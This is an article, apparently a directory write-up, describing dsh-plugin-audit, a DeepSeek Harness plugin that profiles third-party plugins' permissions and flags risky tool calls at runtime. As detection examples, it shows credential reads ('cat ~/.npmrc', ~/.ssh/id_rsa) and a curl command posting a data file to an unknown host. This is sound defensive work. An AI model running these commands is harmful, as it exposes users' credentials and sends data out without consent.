用 dsh-plugin-audit 在安裝第三方 DSH 插件前先做權限畫像

前言

DeepSeek Harness(dsh)把模型適配、工具、會話、循環和界面都做成插件,官方倉庫用一句話概括:everything is a plugin。社區插件因此增長很快,安裝入口也簡單:一條 dsh plugin add 就能把 GitHub 倉庫掛進當前 profile。

簡單也意味着風險跟着權限走。目錄頁和官方文檔都寫明:插件以當前 dsh 進程的權限運行,安裝時還可能執行代碼。第三方插件會不會讀 ~/.ssh、寫家目錄 dotfile、把數據送到未知主機,安裝前往往看不出來。社區目錄 DeepSeek Harness Plugins 是獨立站點,About 頁寫明它與 DeepSeek / 幻方無官方從屬關係,收錄也不等於安全審計。

dsh-plugin-audit 做的事情比較具體:在運行第三方插件之前,先對源碼做靜態權限畫像,列出它觸及的文件、進程、主機、環境變量和憑據路徑,並附文件/行號;裝上之後,運行時哨兵還會在工具調用碰到憑據路徑或未知主機外連時先攔住,交給你批准。

這是什麼

dsh-plugin-audit 是一款面向 DeepSeek Harness 的開發與運行時插件,由 jkrandom-sudo 維護,源碼在 GitHub 倉庫 jkrandom-sudo/dsh-plugin-audit,許可證爲 MIT。npm 包名同爲 dsh-plugin-audit,當前版本 0.1.2(2026-08-14 發佈)。目錄頁與 GitHub 均顯示 4 顆星。主要語言是 TypeScript,peer 依賴 Cordis ^4.0.0-rc.7,Node.js 要求 ^22.19.0 || >=24.0.0。README 寫明已對照 2026-08-14 的 DSH 主線快照驗證過 web 與 headless 兩個 profile。

它解決的不是「替你判定這個插件安不安全」,而是把證據攤開:靜態掃描給出權限畫像卡;運行時哨兵在工具真正執行前攔截高風險調用。README 的定位是審計輔助,不是殺毒軟件:乾淨報告表示「這些規則沒找到證據」,不等於「安全」。

核心功能

靜態審計:plugin_audit

把工具指向任意插件的源碼目錄(不要指向帶 node_modules 的安裝產物),它會掃描源碼、package.jsoncordis.patch.yml,返回一張權限畫像卡。畫像裏能看到這些表面是否被代碼觸及:

  • 文件系統讀 / 寫
  • 子進程
  • 網絡,以及從源碼文本提取出的外連主機
  • 環境變量,以及看起來像憑據的變量名(例如 GITHUB_TOKEN
  • 憑據路徑(例如 .npmrc.ssh
  • 動態代碼執行
  • 注入的 Cordis 服務、聲明的依賴、bundle patch

發現項帶嚴重級別、能力類型、位置和說明。README 裏的示例卡長這樣(節選):

## Plugin audit: fixture-suspicious-plugin

**Risk: REVIEW** — human review recommended before installing

> 1 files scanned; risk=review; 10 findings (4 review, 4 notice, 2 info)

### Permission profile

| Surface | Observed |
|---|---|
| Filesystem read | **yes** |
| Filesystem write | **yes** |
| Child processes | **yes** |
| Network | **yes** |
| Outbound hosts | `evil.example.com`, `exfil.badhost.io`, `telemetry.example.net` |
| Env variables | `GITHUB_TOKEN`, `HOME` |
| Credential-looking env | `GITHUB_TOKEN` |
| Credential paths | `.npmrc`, `.ssh` |
| Dynamic code execution | **yes** |

工具返回值是 { markdown, risk, filesScanned, findingsCount, writesPerformed }riskinfonoticereview。掃描按契約只讀:每份報告都帶 writesPerformed: false。掃描器只用讀句柄,上限 400 個文件、單文件 256 KB,跳過 node_modules.gitlibdist。插件自身不發起網絡請求,報告裏的主機名是從源碼文本提取的,不會被訪問。

可選伴隨插件 dsh-plugin-audit/invariant 會在運行時強制這份只讀標記;如果 plugin_audit 的結果丟掉 writesPerformed: false,會話會失敗。它已經從包裏導出,但有意不寫進隨包的 cordis.patch.yml:官方 web / base profile 不提供 invariants 服務,掛上那一行會讓啓動停在 pending。只有 profile 真的提供該服務時,才適合自行加一行 { id: dsh-plugin-audit-invariant, name: 'dsh-plugin-audit/invariant' }

運行時哨兵

哨兵掛在宿主工具管線的 tools/pre-execute waterfall 上,裝好後自動監視會話裏的每一次工具調用,不需要再調一次工具。待執行調用命中規則時,哨兵返回 ask 並附原因,交給宿主原有的審批提示。沒有審批通道時,調用會被拒絕,不會靜默放行。

README 列出的三條規則是:

規則 會觸發審批的示例
任意工具參數引用憑證路徑 read~/.ssh/id_rsabash: cat ~/.npmrc
shell 外發指向 allowedHosts 之外的主機 curl -d @data.json https://collector.unknown.io/x
寫工具指向家目錄 dotfile write~/.zshrc

哨兵只檢查經過 tools/pre-execute 的工具名和調用參數,不讀文件、不讀環境變量,也不碰參數之外的會話內容。ask 裁決由宿主審批提示處理,插件只通過 ctx.logger 記下原因。

默認配置裏 sentinelEnabledtrue。預批准主機(allowedHosts)默認是 github.comapi.github.comraw.githubusercontent.comregistry.npmjs.org*.deepseek.com(前導 *. 是後綴規則,同時匹配裸域名)。靜態掃描器不讀這份名單,發現的網絡面都會寫進畫像。

安裝與啓用

社區目錄頁給出的安裝命令如下,在 DeepSeek Harness 終端裏運行即可:

dsh plugin add github:jkrandom-sudo/dsh-plugin-audit

需要可復現安裝時,按目錄頁說明固定 commit 哈希。當前倉庫 main 最新提交是 d83ae9a0516533490ff9a93ef686cf19db9fac5d(2026-08-14,對應 v0.1.2):

dsh plugin add github:jkrandom-sudo/dsh-plugin-audit#d83ae9a0516533490ff9a93ef686cf19db9fac5d

README 還提供帶 --profile web 的寫法,以及從 npm 安裝:

# 從 npm 裝到 web profile
dsh plugin --profile web add dsh-plugin-audit

# 或從 GitHub 裝到 web profile
dsh plugin --profile web add github:jkrandom-sudo/dsh-plugin-audit

兩條 README 命令都會把包寫進該 profile 的 dsh.profile.bundles,並應用隨包的 cordis.patch.yml(一行:dsh-plugin-auditsentinelEnabled: true)。重啓 profile 後生效。

卸載:

dsh plugin --profile web remove dsh-plugin-audit

README 寫明:除 profile 自身的依賴元數據外,本插件不做其他寫入,移除依賴和 bundle 行後重啓即可。

目錄頁提醒:插件以當前 dsh 進程的權限運行,安裝時可能執行代碼。安裝前請檢查源代碼倉庫和許可證。

典型用法

在已經安裝本插件的 profile 會話裏,直接說:

用 plugin_audit 審計 ~/some-third-party-plugin 這個插件

也可以讓模型按工具參數調用。path 必填,指向插件源碼目錄;formatmarkdown(默認)或 json

{ "path": "/absolute/path/to/plugin", "format": "markdown" }

哨兵無需調用。命中未知主機外連時,宿主會彈出類似下面的提示:

⚠ Tool "bash" runs curl toward "collector.unknown.io", which is not in allowedHosts. Outbound data movement needs your confirmation. (批准 / 拒絕)

需要改配置時,編輯 profile 的 cordis.patch.yml 裏這一行:

- id: dsh-plugin-audit
  name: 'dsh-plugin-audit'
  config:
    sentinelEnabled: true        # 總開關;false = 只保留靜態審計
    allowedHosts:
      - github.com
      - api.github.com
      - raw.githubusercontent.com
      - registry.npmjs.org
      - '*.deepseek.com'

正常命令頻繁觸發詢問時,把主機加入 allowedHosts,或把 sentinelEnabled 設爲 false,只保留靜態審計。agent 看不到 plugin_audit 時,確認包已寫入 profile package.jsondsh.profile.bundles,並用 --dump-config 檢查是否出現 dsh-plugin-audit 行,然後重啓。

適用場景與注意事項

適合在本機 DeepSeek Harness 上經常試裝社區插件的人:安裝前對源碼目錄跑一遍 plugin_audit,看畫像裏有沒有憑據路徑、未知主機和動態執行;裝上之後讓哨兵盯着會話裏的工具調用。也適合對照 cordis.patch.yml 看第三方插件聲明瞭什麼 bundle 改動。

使用時要注意這些已寫進 README 的邊界:

  1. 審計源碼,不要審計安裝產物。 遍歷會跳過 lib / dist,上限 400 文件 / 256 KB。只發布構建產物的包至少會得到 NOTICE,卡片會說明沒有源碼可掃,而不是給出乾淨結論。
  2. 掃描基於源碼文本,不是 AST。 註釋或字符串裏的憑據路徑也會上報。維護者把這當成有意設計:卡片是給人看的證據,寧多勿漏。
  3. 不跟隨 symlink。 只讀目標樹裏的真實文件。
  4. 不要把 invariant 行接到沒有 invariants 服務的 profile。 啓動會報 dsh-plugin-audit/invariant: pending (waiting for service: invariants)。隨包 patch 默認不含這一行。
  5. 它不是殺毒軟件。 規則是啓發式的,乾淨報告不能當安全背書。發現掃描漏檢或哨兵可繞過時,README 建議在倉庫開 issue;敏感內容先私下報告。

DeepSeek Harness 仍處於開發者預覽,官方 README 用大寫標明會有破壞性變更。本插件驗證過的是 2026-08-14 主線快照,後續主線升級後需要再覈對接線是否還成立。

小結

dsh-plugin-audit 把「第三方插件到底碰了什麼」從猜測變成帶行號的畫像,再用運行時哨兵把憑據訪問和未知主機外連攔到審批提示上。判斷仍留給安裝的人。源碼、許可證和安裝命令以目錄頁與 GitHub 倉庫爲準:

  • 目錄頁:https://deepseek-harness-plugin.com/zh-CN/plugins/dsh-plugin-audit/
  • GitHub:https://github.com/jkrandom-sudo/dsh-plugin-audit
  • npm:https://www.npmjs.com/package/dsh-plugin-audit
羽毛球分组比赛记分
小程序二维码

欢迎使用《羽毛球分组比赛记分》微信小程序

小夜